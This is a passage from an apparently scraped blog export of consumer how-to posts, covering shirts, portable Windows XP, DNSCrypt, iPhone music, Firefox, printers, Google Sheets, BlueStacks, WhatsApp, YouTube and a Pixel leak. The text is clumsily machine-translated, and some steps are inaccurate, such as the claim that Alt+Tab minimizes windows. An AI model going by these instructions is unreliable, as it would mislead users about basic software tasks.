the two positions where the opposite person can recognize the shirt is real fit you?\n3. Wrinkle or not wrinkle   Shirts are usually produced from four main fabrics: cotton, artificial fabrics, silk and linen (linen). Each fabric material has different advantages and disadvantages such as 100% cotton shirt, it will be difficult to stay long. After a short while of ironing, you will see unpleasant folds appear on the body of the shirt. This may not be appropriate and will lose the formal form you are showing.\nBut to overcome this drawback, people often mix cotton with artificial to make sure the shirt can remain flat after a working day. If you go out or travel, you can choose 100% cotton, because this fabric is very cool, suitable for hot summer days, and outdoor activities.\n  4. White and blue: The two most beautiful colors for plain shirts 2 colors that best match most of our Asian men's skin, it's white and light blue.\nWhite shirt\n  \nThis is the most popular shirt of most men, they flutter across the catwalk as well as in everyday life. White shirts are simple but attractive styles, they are always the choice for the gentleness of any man, and this color never worries obsolete. White shirts have colors like chalk white, creamy white and ivory, depending on the preferences of each person.\nWhen wearing a white shirt, you should choose a combination of casual pants or khaki pants with deep colors like black, brown, gray or navy blue. These two colors together will make you an extremely elegant style.\nLight blue shirt\n  \nWith navy blue shirts will make you very limited for combining many different colors. In fact, light blue shirts are just behind white shirts about the popularity that appears at work. The most beautiful and easy-to-wear set with light blue shirts is black pants, black shoes and polka dot black tie with a good watch with metal wire.\nTypes of textured shirts\nTextured shirts are often difficult to bond with men, as the bed is only suitable for women. Therefore, vignette shirts are often less chosen by men in their wardrobe.\nStripe shirt\n  \nStriped shirts will be suitable for office gentlemen. But to dress up with this shirt you need to combine with the accessories such as a plain color tie or small polka dots. This combination will give you a fashionable style and do not cause boredom to the opposite.\nShirt caro (check shirt)\n  \nLike white shirts, caro shirts are much more popular than plaid shirts, because the combination of colors between horizontal and vertical lines gives them a sense of harmony and comfort. This is also the reason for caro shirts to be flown with you everywhere, from the beach to the office.\nThe three most popular car styles you can find are Gingham, Madras and Tartan. This is an image so you can identify and distinguish the three styles of checkers above\nAbout Gingham, this is the only checkered pattern you should use at work. Gingham wearing a plain suit will be a good choice for you when you are familiar with one-color shirts. With Madras and Tartan, with a variety of colors, they will be more suitable for you when going out, walking or traveling when summer comes.\nncG1vNJzZmismaXArq3KnmWcp51kwq%2B10K6cZqyinrCsv4ywnJqqmaO0br%2FUqZyrZZ6esKZ50qGgq6yjYrOwvoymnKc%3D\n","link":"/post/unique-tricks-wearing-super-nice-shirts-for-men/","section":"post","tags":null,"title":"Unique tricks wearing super nice shirts for men"},{"body":"   Assuming you encounter a situation where you have to go to a cafe with an Internet connection to do something that is quite urgent because your home's Internet connection has a problem. At that time, definitely in the cafe, you won't have enough pre-installed programs like your home computer to perform some tasks. If you need only 2 or 3 expansion programs, you can use the portable version of these software, usually provided at Portable Apps.com. However, to use multiple programs with the Windows XP environment, our suggestion for you now is to use Mojopack . This is a software capable of providing you with a Windows XP interface along with the ability to install necessary programs. You can install many programs in this software and can be accessed from any computer.\nMojopack will be installed on a USB drive but it will use all existing Windows XP resources. That is why you cannot access Mojopack in Windows Vista or Linux interface. There is only one drawback of this software that is the closing time and opening time quite long. You can use the iPod, portable drives, mobile phones that support USB, digital cameras to install Mojopack. Also any USB device can be used.\nHere is an introduction video about Mojopack.\nProcedures for installing Mojopack\nDownload Mojopack here and install it in your USB drive. When installing, the program will ask you about the installation location. Just click on the select section, and select the USB drive from the drop-down list. Then click ' Next ' to continue.\n Now Mojopack will be installed in your USB drive and the installation will take a few minutes.\n After the installation is complete, click the ' Finish ' button. The software will now run automatically and it will configure the default settings within a few minutes. The first time you open the program you will see for a long time. Then the program will access all supported files from your USB, so do not unplug the USB at this time.\n After initial initialization, the Mojopack operating system will run and provide you with an interface similar to the Windows XP operating system. You can install the necessary software for yourself like Microsoft Office, Nero 8, VLC media player, . from here. In addition to these essential programs you can also install the game. The installation files will be kept safely in the USB, where the operating system is preinstalled. Now you have finished your work and can take your USB drive anywhere.\nWhen you need to use it, just plug in the USB and observe that your USB icon has changed to the Mojopack icon. Double-click it to run this operating system.\n Desktop Mojopack will appear in a rather fancy interface. Do not be too time consuming and start with your work from here. You need to have a Windows XP environment to run Mojopack because it uses some Windows files as resources.\n The important applications provided by Mojopack are desktop icons, Start menu, internet explorer, background images and documents. When you install the program, it will be added to the Mojo-control Panel. Above the Mojopack window you will see Mojobar, this is where you can switch between server and client.\nncG1vNJzZmismaXArq3KnmWcp51kr7O1zaBksKGemby4v4yxp2ahnmLCtK6MsKCtoF2ivKu7z5qapA%3D%3D\n","link":"/post/bring-windows-xp-in-usb-with-mojopack/","section":"post","tags":null,"title":"Bring Windows XP in USB with Mojopack"},{"body":"Over the past time, Quantum has had articles related to Internet security such as how DNS works, free VPN as well as anonymous private browsers, etc. Also in this same series, today's article is about DNSCrypt, a lightweight program that encrypts data exchange between your computer and DNS servers. In other words, all is for your privacy, because hackers will not be able to understand the data available on your Windows computer.\nEvaluation of DNSCrypt What is DNSCrypt? Why do you need it? Learn about DNSCrypt protocol You already know about VPNs encrypting your data and exchanging it in a secure 'tunnel' created between your computer and the host. Although VPN provides better security and privacy for DNSCrypt, they often slow down your browser. Proxies are used to access websites (by changing your IP address). They do not provide encryption in most cases. Previously, we discussed a certain DNS number (eg OpenDNS) that provides content filtering in addition to secure connections (anti-malware). As you know, not all websites are unsafe. Comodo and OpenDNS perform checks when you request a website connection, and will notify you if the site is dangerous. OpenDNS also provides content filtering, also known as Parental Controls online. You do not need to configure it on all computers.\nUsually, with the above cases (except for VPN), your data is displayed with 'intermediaries' when you send web page requests, emails or even IM. To protect this data, you need something to encrypt data between your computer and the DNS server you are using. DNS servers can be anything you choose. DNSCrypt is a program that provides this type of data encryption (between you and DNS). You can choose from the service provider or use Network Adapter settings to change DNS manually.\nNOTE : In some cases, when you choose your DNS in addition to DNS listed in DNSCrypt, it will cause problems when connecting to the Internet. So you should use popular DNS servers because they cause fewer problems. If you choose the ones listed in DNSCrypt, you may not encounter any problems.\nIn short, if you don't use VPN services, DNSCrypt will help you stay safe when communicating on the Internet. Communication can be anything from email to IM to browsing websites.\nDNSCrypt will encrypt and protect data    Website to download DNSCrypt There are many websites that offer download of DNScrypt. The main source is in Github, which also contains the program's code so you can check if it is programmed to encrypt the data.\nBut the download from Github will give you a somewhat confusing DNSCrypt version. After accessing Github, you will see the download link in the bottom right corner of the screen - marked as \" Download ZIP \". This ZIP file contains many directories that need to be extracted to some safe place, so your copy of DNSCrypt continues to work. See the image above to learn more about how the files are extracted.\nThere is another page you can download DNSCrypt and you can install it as a Windows Service. This is also a DNSCrypt ZIP file, but only contains four small files. The link to download this Windows Service DNSCrypt is the site of a programmer named Simon Clausen - simonclausen.dk . This page also tells you about the benefits of the program. Many people prefer to download from Simon Clausen's website rather than Github. Github is a bit complicated because it has too many files and you don't know which one to run first.\nHow to install DNSCrypt If you downloaded the ZIP file from Github and extracted the content, see the attached folders. They look a bit confusing, but open the DNSCrypt folder and run the only executable file there. There is an advanced folder when you unzip this zip file, but you won't understand what it means. Perhaps it has been fixed or upgraded with new features. There are six upgrade files here.\nIf you downloaded the ZIP file from Simon Clausen's website, all you need to do is extract the files and run dnscrypt-winservicemgr.exe . You will get a graphical interface as shown in the image below. You can choose adapter, communication type (UDP or TCP) and service providers (like OpenDNS, etc.) before clicking Enable. After you click Enable, simply close the window. The process runs in the background, and you can view it in the Windows Task Manager\u0026gt; Process Tab .\n  How to remove DNSCrypt Windows Service? Always create a restore point before installing such software, because if something (such as an incorrect configuration) occurs, you can restore your computer back to before it was The program is installed. In the case of DNSCrypt, you will not find any entries in Programs and Features .\nSystem Restore is the only way to delete DNSCrypt. Alternatively, you can access Services from Control Panel\u0026gt; Administrative Tools and turn off the dnscrypt service . Right-click on the service listed as dnscrypt-proxy and click Disable or Manual Start.\nAs mentioned above, many people prefer to use the ZIP file downloaded from Simon Clausen, because it is very easy and has a simpler interface to set up. Many people are concerned that DNS resolution time may increase after installation, but usually nothing will happen, meaning that your browsing speed will not decrease. It is encrypted and therefore provides security and privacy for your data. It also doesn't take up a lot of resources on your computer. You should use DNSCrypt to increase security when you are browsing, emailing or chatting.\nSee more:\nHow to check if your VPN connection is actually encrypted Summary of how to create strong passwords and manage the most secure passwords Check MD5 and SHA1 to check file integrity ncG1vNJzZmismaXArq3KnmWcp51ksa%2B%2FwquwqaxdmLmqsc2tZJ%2BnomLEqrrDqK6sZZWjsLPFz61knZmklnqnvs6mZJynnaXCtbHRZquoZZSjwA%3D%3D\n","link":"/post/encrypt-data-from-computer-to-dns/","section":"post","tags":null,"title":"Encrypt data from computer to DNS"},{"body":"Many users of Apple's mobile products find it quite frustrating because they depend on iTunes to manage music in the iPhone, although iTunes is a good way to manage your music library. So, the following article will show you some ways to copy music to iPhone without using iTunes.\nCloud storage service There are a number of popular free cloud storage services that will allow you to upload your music files to iPhone for listening online or offline. Here are three cloud storage services that help you do that.\nGoogle Play Music One of the best cloud-based streaming music applications is Google Play Music, which allows users to upload up to 50,000 free songs. You won't have to pay any fees and can upload music to the cloud, listen to music on any device.\n  Adding your music library to Google Play is easy, you just need a computer to upload music. In addition to creating an online \"home\" for your music library, Google Play Music is the same music store as iTunes. When buying songs or albums via the Google Play Music app, they are added to your library right away, then allow you to copy MP3s to your phone or computer.\n   How to copy music to iPhone, iPad from computer? Amazon Cloud Player Amazon also has a cloud music service that works with the iPhone called Amazon Cloud Player. However, Amazon only allows uploading 250 cloud songs from your music collection.\n  To upload music to the cloud, you can use the Cloud Player desktop application. You can download Amazon Cloud Player for your iPhone in the iOS App Store.\n  One big obstacle is that if you want to buy music, you must visit the Amazon website using the Safari web browser. You cannot purchase MP3s through the Cloud Player application. After importing, your song will be instantly uploaded to the Amazon cloud, then they can be played using the Amazon Cloud Player application and you can listen offline.\n   Dropbox If you store your music collection on Dropbox, you don't need any other apps to play these music files, just log in to your Dropbox account and choose which song you want to listen to. The song will automatically play in the web browser and even give you a black music playback screen to save battery power.\n   You can also exit the browser and open other applications or navigate anywhere on the device and the music still plays. If you don't want to use the browser, you can download the free Dropbox app and play music there. It will run smoother when using the browser and will also continue playing when you leave the application.\n   Another feature is that you can rate \"stars\" for songs or albums to listen offline. Dropbox is an easy way to upload new songs to iPhone and play them anywhere, anytime.\nAlso you can use iTunes replacement applications.\nThe Cydia tweak for iPhone Here are some iPhone Cydia tweaks to be able to copy music directly to your device. The only downside here is that there is currently no jailbreak (jailbreak) method that works for iOS 10, but if you're still running iOS 9.3.3, you can use this guide.\nBridge Bridge is a great application of Cydia that allows you to copy music and videos to the media library right from your phone. No need to plug in your computer or sync with iTunes.\nAny media file on iPhone is imported into the media library. If friends send you songs via email or download some songs from Dropbox, you can use Bridge to add them to your iPhone music library in seconds.\niFile iFile is a complete file manager that uses root access access to drag and drop files onto your device. You can add any type of file like PDF, movie, iWork file and of course music file.\n   You can also transfer files via Bluetooth or copy them from your Dropbox account. iFile is one of the essential applications for users and is priced at 4 dollars in BigBoss Repo. If you don't want to pay, there is an iFile alternative method you can try.\nMewSeek MewSeek is a file manager and music app in the Cydia store. With MewSeek you can search, play and download music via Wi-Fi or mobile data connection.\nWhat makes this application different from other applications is the ability to add downloaded songs to the music library in the device. All other apps use separate libraries for the songs you download, forcing you to add songs and create playlists.\nThanks to this great feature, MewSeek is the most valuable application on this list for only $ 4.99, but if you plan to use it regularly, it's worth it. MewSeek is compatible with iOS 4, 5 and 6.\nRadio streaming Of course, one of the most convenient ways to add music to your phone is through a live music player. Pandora, TuneinRadio, Rdio and Spotify are some popular music applications that allow you to play music directly on iPhone.\nJust sign up for any free services and start listening to music. The free versions of most of these applications often have ads, if you don't want to see ads you can pay to use the pro version.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufpcZuudSsoJxlpKR6qrzHqKWeZaeewam71K1koqylo7K0\n","link":"/post/how-to-copy-music-to-iphone-without-itunes/","section":"post","tags":null,"title":"How to copy music to iPhone without iTunes"},{"body":"In Firefox, when you open a web page, the address bar hides the https: // and www parts of the link, but you can change the setting to always show the full URL in the web browser.\nWhy do I have to show the full URL in Firefox? Although the hidden parts of the link do not affect most ordinary users, but not everyone does so, especially, for web developers. They need to know this information while designing or transferring websites to make sure everything works correctly\nIn this tutorial, you'll learn the steps to display the full URL for web pages in the address bar of Firefox on Windows 10.\nNote : You can also display the full link on Chrome by following the instructions in the article: How to enable full URL display in Google Chrome.\nHow to display the full URL in the address bar on Firefox To always display the full URL in Firefox, follow these steps:\n1. Open Firefox.\n2. Enter the following link in the address bar and press Enter:\nabout:config 3. Search browser.urlbar.trimURLs.\n4. Click the toggle button on the right to toggle the status from true to false.\nSearch for browser.urlbar.trimURLs and change the status from true to false When you complete the steps, the Firefox address bar will display the full URL, including http:///, https: // and www.\nFirefox displays the full URL on the address bar option It is simple to display the full URL in the address bar in Firefox, right?\u0026nbsp;\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZqL2trdhmq6GdXZvCrbiMrqmlZZmjerW0xGaYnZyimsC0ecGaqWannmKzqr7En6ax\n","link":"/post/how-to-display-the-full-url-in-the-address-bar-on-firefox/","section":"post","tags":null,"title":"How to display the full URL in the address bar on Firefox"},{"body":"In this article I will guide you how to fix the ' Resolution not supported ' error on the printer, this is probably one of the common errors that printer users often encounter.\nMost users only encounter the ' Resolution not supported' error message when they are trying to print file types [ Excel ] and documents from Access, while other files and documents can print completely normal.\nBecause this is not a very serious error, you will have many ways to fix the 'Resolution not supported' error on the simple printer that I will guide below.\n1. Reset the printer To resolve most printer-related issues, resetting your printer is considered the simplest remedy you can do.\n  First, unplug the power cable but do not need to turn off the printer. After that, wait about 30 seconds and then plug the power cable into the printer again.\nIf the printer does not turn on automatically, press the Power button. After performing these steps on the printer, you can also perform the same steps on your own computer if necessary.\n2. Change DPI settings The steps are as follows:\nStep 1 : Click the worksheet you want to print.\nStep 2 : On the Page Layout tab in the Page Setup group section , click Launcher .\nStep 3: In the Page tab , navigate to the Print quality box . Then tap the resolution you want to use.\n  Step 4: The DPI settings will depend on the type of printer you are using. If you do not know how the parameter values ​​are correct, then simply set them to a smaller value.\nIf the Resolution not supported error message appears when you are trying to print a document that you have just received from another device, the reason may be that the document has a higher resolution than the message level. number that the printer can handle. That is why we should change the DPI settings in Excel.\nIn addition, you should also check the Excel file resolution is how much to see if they are suitable for your printer or not.\n3. Reinstall the printer driver When the printer error occurs, you can proceed to reinstall the printer driver to fix this error by following these steps:\nStep 1: To check for the latest driver version stored on your computer, open the Start menu . Then, type in the search box for the term Control Panel and open it.\nStep 2: Then, click Hardware and Sound\u0026gt; Printers respectively.\n  Step 3: Right-click the printer whose driver you need to install, and then select Run as administrator. Then click Properties -\u0026gt; Advanced.\nStep 4: Finally, click the New Driver tab , then follow the on-screen instructions to install the driver.\nIf you continue to receive the Resolution not supported error message while printing, it is likely that this error will be related to the printer driver. If the driver generates problems, you may not be able to print the document, and some printer features may not work.\nTo fix this problem, it's time to reinstall the printer driver. The procedure is quite simple, you just need to follow the instructions above if the latest driver has been stored on your computer.\nAlternatively, you can also go to the printer manufacturer's website, and search for the latest driver version to download it.\n4. Disconnect from the printer and try to connect again In case the above error message still occurs, you should revisit System Preferences\u0026gt; Printers \u0026amp; Scanners and disconnect the printer. To continue using this printer, you must add them to the list of connected printers on your computer by using Printers \u0026amp; Scanners preferences again.\n  If the printer you are connecting to does not appear in the list of printers connected to your computer, do not hesitate to add this printer as an IP printer. Remember that the printer must support one of the following connection protocols: AirPrint, Line Printer Daemon (LPD), HP Jetdirect (Socket) or Internet Printing Protocol (IPP) .\nWhen you complete these steps, the Resolution not supported error message will no longer appear on your printer.\nIn case you have tried all of the above solutions but failed, you should probably consider having the printer repaired if it is still within the warranty period.\nSo I have shown you how to fix the ' Resolution not supported ' error on the simplest printer. Hopefully this article will be helpful to you. I wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmqZ6rn6HCtbXOp2Snp6RiwLa8z6iprZ2UYrKzvs6rZKimXam1pnnPq6CnrJWn\n","link":"/post/how-to-fix-the-resolution-not-supported-error-on-the-printer/","section":"post","tags":null,"title":"How to fix the 'Resolution not supported' error on the printer"},{"body":"When working with content as an option list, adding a checkbox will make it easier for you to manage. On Google Sheets, the checkbok feature or check box has been added to this online editor. The tool is available in the interface on the toolbar so you just need to press select to use. Thus, users do not need to insert a formula or function to insert checkbok on Google Sheets.\nTricks using Google Sheets should not be ignored List of common shortcuts for Google Sheets on computers (Part 1) How to highlight duplicate content on Google Sheets How to insert a box on Google Sheets Step 1:\nYou sign in to Google Sheets and enter the content you want to create the checkbox, or create the checkbox to insert the content.\n  Next select the content you want to insert the checkbox and then click Insert in the toolbar and click the Check box (Tick box).\n  Step 2:\nSoon we will see a checkbox that appears in the selected content.\n  To enter the check box for the remaining content, scroll down to the remaining boxes or click copy.\nTo resize these tick box cells, you need to adjust through the font size in the toolbar. If you want to delete the tick box in any content, press it and press the Delete key next.\n  Step 3:\nIn addition, Google Sheets also allows to transfer custom values ​​with checkboxes. For example, the checkbox that is assigned TRUE value will be selected and the unchecked checkbox will be assigned FLASE value.\nSelect the checkbox containing the value you want to change and click on Data in the toolbar, select Data validation . (Data validation).\n  Step 4:\nIn the new interface select the box Use Use custom values ​​(Use custom cell values). Enter the value depending on the cell in the selected box (Ticked) and Unticked.\nThen click the Save button (Save) to save.\n  Finally we will get the complete list of tables as shown below.\n  Thus, we have finished inserting the Google Sheets box with a simple way. Users will easily manage the content in the table, used for many different purposes, especially making a survey.\nSee more:\nHow to set up the right to edit spreadsheets on Google Sheets 6 useful functions in Google Sheets you may not know yet How to format conditional cells in Google Sheets I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqLKzwIycn56bm5e8ubHSZqanZZekvKi4xGaqoZ2VqcA%3D\n","link":"/post/how-to-insert-checkboxes-on-google-sheets/","section":"post","tags":null,"title":"How to insert checkboxes on Google Sheets"},{"body":" Minimizing all open windows can be accomplished a variety of ways without the Windows key. On a PC, try pressing to minimize each window individually or use taskbar buttons to minimize all open windows at once. Right-click on the taskbar....\nMethod 1of 3:\nUsing the Taskbar to Access Your Desktop  Right-click on the taskbar. The taskbar is the bar at the bottom of the screen where programs can be accessed and displayed. Right-clicking on it should show a small window with options.\n  Click on the option 'Show the desktop'. This should minimize all open windows and show the desktop.\n  Right-click again to bring your windows back to view. Find the option 'Show open windows' to maximize your active windows again.\n Method 2of 3:\nUsing the \"Show Desktop\" Button  Hover your cursor over the right corner of the taskbar. In recent versions of Windows, there is a rectangular button in bottom right corner of the taskbar that is 'hidden' until you click on it.\n  Click on this 'hidden' button. The button will appear opaque once clicked and will minimize all currently open windows.\n  Bring all your windows back. If you wish to maximize the previously minimized windows, click the rectangular button again. It will maximize all minimized windows.\n Method 3of 3:\nUsing a Keyboard Command  Click on an open window you want to minimize.\n  Use Alt+Tab ↹ to minimize.\n  Click on another window to select it. To continue minimizing any open windows, select each window in turn and repeat the command Alt+Tab ↹ until all are minimized.\n  Bring back a minimized window with Alt+Tab ↹. To maximize the window that was just minimized, use Alt+Tab ↹ before selecting a new window. The command Alt+Tab ↹ only works for minimizing/maximizing one window at a time.   Lesley Montoya Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWZo7autdmeZJqknGK8sbHNZq6ippSkxLR51qKroaelqXqprdWipaBlkWLEqrrDqK6sZZKqwbW7zQ%3D%3D\n","link":"/post/how-to-minimize-all-open-windows-without-having-a-windows-button/","section":"post","tags":null,"title":"How to Minimize All Open Windows Without Having a Windows Button"},{"body":"BlueStacks in addition to supporting users to install and use Android applications. There are also a lot of support tools for users. For example, a tool to open multiple BlueStacks windows at the same time.\nFor those who play android games on computers, this is a pretty effective tool when you can open multiple BlueStacks windows to use the application. Each window you can open a game to play. Here's how to open multiple BlueStacks windows at the same time.\nHow to play Three Kingdoms Mobile on PC How to fix Bluestacks blue screen error when playing games Instructions for changing Bluestacks screen resolution on Windows Instructions on how to open multiple BlueStacks windows at the same time on your computer Once BlueStacks is installed, on your computer will display two icons, one main icon will open BlueStacks application. The second icon is BlueStacks Multi Instance Manager , click on it.\n  Now the BlueStacks multitasking manager window, to add a new bluestacks window, click New window.\n  Next you will have two options, the New Tab and the New Tab with the application. With the New Tab , you will have to set everything up from scratch, you will have to set up and log in to the account in this emulator window, then act as a window that you have just downloaded.\nWith the new Tab with the application , the BlueStacks window will be added to the application you downloaded earlier.\n  After adding new BlueStacks window, you can rename the newly added emulator window by clicking on the pen icon as shown below. Then write the name and press Enter to save.\n  To set up the configuration of the new BlueStacks window, click the jag icon after the Start word to set up a new window. Here you can choose options such as Resolution, pixel density.\n  The configuration section will give you settings like image mode selection, CPU allocation and RAM activity for the newly added BlueStacks window.\n  When you open the BlueStacks window you cannot start two windows at the same time, you have to wait for the initial window to finish loading, open the next window.\n  This is through the instructions to open multiple BlueStacks windows on the computer at the same time, with multiple BlueStacks windows opened at the same time. You can open multiple applications at the same time or open multiple games at the same time to battle.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegmrtuudSlq6KonJp6o7jUnqqtmZOgwG7DyKebqK%2BjYq61edOhnGarkaKybsDIppw%3D\n","link":"/post/how-to-open-multiple-bluestacks-windows-at-the-same-time/","section":"post","tags":null,"title":"How to open multiple BlueStacks windows at the same time"},{"body":"Transferring WhatsApp chat history from Android to iPhone or vice versa is always the desire of many users. However, WhatsApp does not provide a formal option for data transfer. Fortunately, there are a number of solutions you can consult, making sure the chat content is not lost while switching from one operating system to another.\nYou can email chat history or use help from third party applications.\nThe easiest and most reliable way to transfer chat history between operating systems is to email yourself. You will have to send the history of each conversation (should only choose important conversations).\nAfter sending the file from this phone, you'll download it and sync files with iCloud to keep them safe.\nWhile this is not convenient, it ensures that your important chat content is not lost during data conversion.\nHow to transfer WhatsApp chat history on Android to iPhone Open the WhatsApp application, then open the conversation you want to transfer history to your iPhone phone. Click the three dots icon ⋮ at the top right. Click More   Next, click on Email chat .   Choose between emailing with multimedia files attached or not ( Attach Media and Without Media ).   Now, email yourself. Now you can download this chat history and save it to Files or Notes application. How to transfer WhatsApp chat history on iPhone to Android Open the WhatsApp app, then open the conversation you want to email. Now, click on the name of the conversation at the top.   Next, scroll to the bottom and select Export Chat .   Choose between Attach Media and Without Media .   On the sharing panel select Mail , then send it to your email address.   Next, open the email application on Android and download it to your computer. You can backup chat history in Google Drive to keep them safe. Use the 3rd application to transfer WhatsApp chat history You can use third-party applications to transfer WhatsApp messages from Android to iPhone or vice versa. There are a few reliable software like dr.fone - Switch and WhatsMate you can try to move WhatsApp chats. They are quite easy to use.\nYou just need to install them on your computer\u0026gt; connect Android and iPhone to your computer\u0026gt; start the software\u0026gt; select destination\u0026gt; select the data you want to transfer and then press the transfer button.\nSee more:\nHow to transfer data from old iPhone to new iPhone (iPhone X, iPhone 8, iPhone 7) How to transfer, backup phone contacts from iPhone to Gmail Transfer contacts from iPhone to Android ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyilru0ssSrZLCgkanAorzPZpqhmaRitaq%2F06ipsmWWp7yuecCnm6unmZl6tbuMoqehp56a\n","link":"/post/how-to-transfer-whatsapp-chat-history-from-android-to-iphone/","section":"post","tags":null,"title":"How to transfer WhatsApp chat history from Android to iPhone"},{"body":"Google has officially equipped for the latest YouTube update feature that reminds users when watching videos for too long. That's right, you don't read anything wrong, the world's largest online video platform can help you stop watching videos to spend time on other tasks. Right now, you can set YouTube to remind you of watching videos too much by turning this feature on.\nHow to enable Dark Mode on Youtube How to add \"Download\" button on YouTube, Facebook, . for Chrome, Firefox and Opera How to add effects, turn on Dark mode, remove ads and delete black space when watching YouTube Instructions for enabling reminders when watching videos too long on YouTube\nThis feature is not a default installation of YouTube, but you can easily activate it to start limiting the impact of technology on yourself.\nStep 1:\nFirst of all, you open the YouTube application, at the application interface you need to select the account icon in the upper right corner of the screen.\n  Step 2:\nNext, select Settings (Settings)\u0026gt; General (General) .\n   Step 3:\nNow you access the Remind me break feature (Remind me to take a break) .\n  After that, you will see YouTube offers you a lot of different reminders from 15 minutes to 3 hours depending on your needs, and you just need to choose the time that best suits you.\n  Successfully turn on the reminder feature when watching videos too long on YouTube, from now on if you watch too long, there will be a notification immediately and remind you to take a break.\nHope you are succesful.\nSee more:\nHow to edit videos on YouTube? How to get YouTube video links on phones and computers Save Internet bandwidth and battery when playing YouTube videos ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu81mq6GdXZuyosDUq5xmrJiWwW680aikqayjYsawwYytpmavkamwqXnVopuep6NiwbC7jKWmp59dpLtuxc6uq66alQ%3D%3D\n","link":"/post/how-to-turn-on-the-feature-that-prompts-you-to-watch-videos-too-long-on-youtube/","section":"post","tags":null,"title":"How to turn on the feature that prompts you to watch videos too long on Youtube"},{"body":"If you've ever worked with Photoshop, you'll probably find it difficult to draw or select curves (Curved Path). Normally, users will choose Pen Tool - an extremely difficult tool to use even after years of use.\nNow Adobe has come up with a better solution in the Photoshop update.\nToday, Adobe shares a feature video called the Curvature Pen Tool. Instead of using the traditional Pen Tool anchor point, this tool will create an automatic curve. Let's take a look at the video below of Pen Tool.\nThe new tool looks a lot more intuitive. The curves are automatically created with just one click and you can create corners easily by double clicking the mouse. It also allows making sharp or circular edits by clicking on the anchor point. Adobe is gradually reducing its reliance on keyboard shortcuts.\n  Easily draw curves with Adobe's new tool\nThis new feature will be available later this year on the next version of Photoshop CC.\nncG1vNJzZmismaXArq3KnmWcp51kvam706iqoaegqHqvsdZmp56mXam8sLiMppiknaNitrV5xJqqop2iYsGwecOrmLBlk6q%2Ft7HS\n","link":"/post/photoshop-s-new-pen-tool-makes-it-easier-to-draw-curves/","section":"post","tags":null,"title":"Photoshop's new Pen Tool makes it easier to draw curves"},{"body":"It seems that the next high-end phone from Google is about to show up, after some information and leaked images of the screen protector, we now see the prototype image of Pixel 3 XL.\nXDA Developers recently released images of a device very similar to previous speculations. Prototype has a large rabbit ears, contains speaker and 2 front cameras. There is also a 'chin' on the bottom, between the chin and ears are the two front speakers. The rabbit ears are much larger than the ears of iPhone X, OnePlus 6 or LG G7. OnLeaks says that the rabbit ears of Pixel 3 XL are up to 8.1mm tall. With a regular Android phone, the normally-sized 4-meter-wide status bar on the phone will double the status bar, as on Essential Phone.\n   Front and back of the machine\nFor the first time we get information about the back of Pixel 3 XL. Like Pixel 2, the phone will have a camera, fingerprint sensor and 2-tone design. The biggest change is to switch from glass to glass that XDA has confirmed with news feeders who have taken these images.\nThe Pixel 2 is one of the last phones to use a metal back cover. Not sure if Pixel 3 XL has wireless charging, but it is also capable. The back of the phone also has a mysterious logo that was used on previous Google prototypes.\nSo now, we've learned a little bit more about Google's new phone, codenamed Crosshatch, following the fish-name motif for Google devices. The prototype has 4GB of RAM and 128 GB of memory.\n   The bottom and the edges show buttons and jacks\nThe leaked image was taken from multiple corners so we can see the power, volume, USB-C plug port, SIM slot all underneath and no headphone jack.\nSee more:\nGoogle is about to launch Pixel 3 in October, the XL version will have rabbit ears Why many Android phones imitate rabbit ears of iPhone X? Nokia X6 sold out in just 10 seconds in China ncG1vNJzZmismaXArq3KnmWcp51kwamxjKmpqKyfqcaxsYyipJqflWLAqbvWrGStoJVir6Kvymamn2WXpLyouMRmp6KwlaF6dHnXpWScp52luabAxKWwZq%2BZqbVus8uaqqxlmKq0pnnRmpmboaRisqK%2B0g%3D%3D\n","link":"/post/the-prototype-image-shows-the-back-of-google-pixel-3-xl-completely-with-glass-huge-rabbit-ears/","section":"post","tags":null,"title":"The prototype image shows the back of Google Pixel 3 XL completely with glass, huge rabbit ears"},{"body":"In role-playing games like Mobile Legends: Adventure, a perfect staging strategy will guarantee victory for any situation. The army of heroes from the Mobile Legends universe can make it difficult for players to pick the best characters for a powerful squad. If you are having trouble building a team, please refer to the following TOP of the strongest squads in Mobile Legends: Adventure.\nNote before building a team Mobile Legends: Adventure focuses on deploying heroes in arenas, where wars happen automatically. All you have to do is touch your piece and wait until the fight is over. During the battle, people don't need to tap on spells or skills as the game will do it until the heroes die.\nBefore deploying troops, make sure to upgrade their icons and add recommended equipment. In the practice arena, players are free to try out new builds and team combinations before entering the real battle.\n  On top of that, everyone can form their own clan and invite players to the arena. After leveling up, players can participate in Clan events and defeat Clan bosses for some exciting and exclusive gifts.\nAs a MOBA game, Mobile Legends regularly releases patch updates that come with nerfs and buffs for hero attributes, spells, and items. The lineups on this list are purely based on the latest update and will change whenever necessary, namely when a new update is available.\nTOP strongest squad in Mobile Legends: Adventure Angela - Tigreal - Martis - Karina - Valir Front: Tigreal and Martis In the middle: Karina Behind: Angela and Valir   This lineup has Tigreal and Martis up front with crowd control and excellent damage immunity. As a Tank, Tigreal can take a lot of damage, which will be a great help for Martis and Karina in combat.\nIn addition, Angela acts as the core support of the team. Her healing, shielding, and immobilization will be essential for Karina since Assassin has a relatively lower HP. Finally, Valir's ability to burn and stun will both deal damage and give the heroes in front a chance to attack.\nYu Zhong - Eudora - Layla - Tigreal - Belerick Front: Tigreal and Yu Zhong In the middle: Layla and Belerick Behind: Eudora   One of the best squad Mobile Legends: Adventure consists of 3 Tank heroes with high sustain and recovery. Although the rest are not so strong, they are capable of knocking down enemies with just one combo. Yu Zhong's ability will increase when he combines perfectly with Tigreal's ultimate.\nOn top of that, Eudora's stun combined with Belerick's and Layla's high attack speed is definitely an excellent combo.\nSelena - Bane - Granger - Hylos - Karina Front: Hylos and Bane In the middle: Karina and Selena Rear: Granger   This squad consists of high damage heroes with the ability to stun and slow for a long time. Selena is a perfect pick with the ability to launch traps to stun enemies. This also works well with Hylos pokes. Karina can easily embarrass her enemies and run away from dangerous situations.\nMeanwhile, Granger is good at the back thanks to his ultimate with a long CD and relatively low HP. Bane acts as a mage and warrior, mainly playing a supporting role in this 